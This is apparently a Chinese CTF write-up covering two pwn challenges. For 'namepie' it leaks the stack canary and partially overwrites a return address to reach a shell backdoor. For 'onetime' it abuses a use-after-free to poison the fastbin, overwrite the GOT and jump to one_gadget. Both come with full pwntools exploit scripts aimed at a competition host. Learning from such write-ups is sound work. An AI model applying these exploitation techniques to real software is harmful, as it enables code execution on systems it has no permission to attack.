前言 只有两道题都不难,但是最近没怎么做题,生疏了,做了好久才出来,留下没技术的泪水。还好队友给力,带我躺进了决赛。
顺便附上题目文件链接:
namepie.zip
onetime.zip
namepie IDA打开直接看伪代码,漏洞在函数sub_9A0
,栈溢出,但事实上没这么简单。
1 2 3 4 5 6 7 8 9 10 11 12 ssize_t sub_9A0(){ char s; unsigned __int64 v2; v2 = __readfsqword(0x28 u); memset (&s, 0 , 0x1E uLL); puts ("Input your Name:" ); read(0 , &s, 0x30 uLL); printf ("hello %s: and what do your want to sey!\n" , &s); return read(0 , &s, 0x60 uLL); }
拉到linux上checksec查了下,保护全开,要成功栈溢出首先得绕过canary。
canary最后一个字节为00
,所以直接写入0x29
个字符,覆盖掉00
,利用printf
就能读出canary。
程序里还有个system('/bin/sh')
的backdoor,跟栈溢出的返回地址刚好就差一个字节,所以随机地址也没什么影响。
最后padding带上canary,还有就是读到的canary记得减去覆盖00
的那个字节就行了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from LibcSearcher import *from pwn import *context.log_level = 'DEBUG' context.binary = './namepie' if sys.argv[1 ] == 'l' : p = process(['./namepie' ]) else : p = remote('172.20.14.91' ,9999 ) p.sendafter('Input your Name:' ,cyclic(0x29 )) p.recvuntil('iaaajaaa' ) canary = u64(p.recv(8 ))-0x6b print(hex(canary)) p.sendafter('and what do your want to sey!\n' ,flat(cyclic(0x28 ),canary,0xdeadbeef )+'\x71' ) p.interactive()
onetime UAF的题,有增删改查的功能,还有一个选项能添加堆块并写入内容,但都只能用一次。
UAF就处在del功能里,free掉堆块后没将指针置空。
1 2 3 4 5 6 7 8 9 10 int cmd_del () { int result; free (buf); result = puts ("complete!" ); add_flag = 0 ; del_flag = 1 ; return result; }
由于添加的堆块的大小都为0x60
,所以删掉一个堆块得到fastbin
,再利用UAF修改fastbin
的fd
,连续添加两个堆块就能实现任意地址写。
checksec查了下,没开随机地址,bss上刚好有个0x7f
,所以fake chunk就能开bss上了。标记功能使用次数的flag也在bss上,把flag改为大于1,就能绕过了使用次数的限制。
然后改buf的指针到got表,利用读功能得到libc的基址,再然后改got表为one_gadget的方式getshell。
改了后的bss:
测试下来,改read
的got,one_gadget能正常使用。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from LibcSearcher import *from pwn import *context.log_level = 'DEBUG' context.binary = './onetime' elf = ELF('./onetime' ) if sys.argv[1 ] == 'l' : p = process('./onetime' ) libc = context.binary.libc print(libc) else : p = remote('172.20.14.91' ,10001 ) libc = ELF('./libc-2.23.so' ) def cmd_add () : p.sendlineafter('your choice >>' ,'1' ) def cmd_edit (content) : p.sendlineafter('your choice >>' ,'2' ) p.sendafter('fill content:' ,content) def cmd_show () : p.sendlineafter('your choice >>' ,'3' ) p.recvuntil('data:' ) return p.recvline() def cmd_del () : p.sendlineafter('your choice >>' ,'4' ) def cmd_add_name (content) : p.sendlineafter('your choice >>' ,'5' ) p.sendafter('Hero! Leave your name:' ,content) fake_chunk = 0x602090 - 0x3 read_got = elf.got['read' ] cmd_add() cmd_del() cmd_edit(flat(fake_chunk)) cmd_add() cmd_add_name('\x00' *3 +flat(cyclic(0x8 ),read_got,cyclic(0x10 ))) read_got = u64(cmd_show()[:-1 ].ljust(8 ,'\x00' )) libc.address = read_got - libc.sym['read' ] print(hex(libc.address)) one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] cmd_edit(flat(libc.address+one_gadget[0 ])) p.interactive()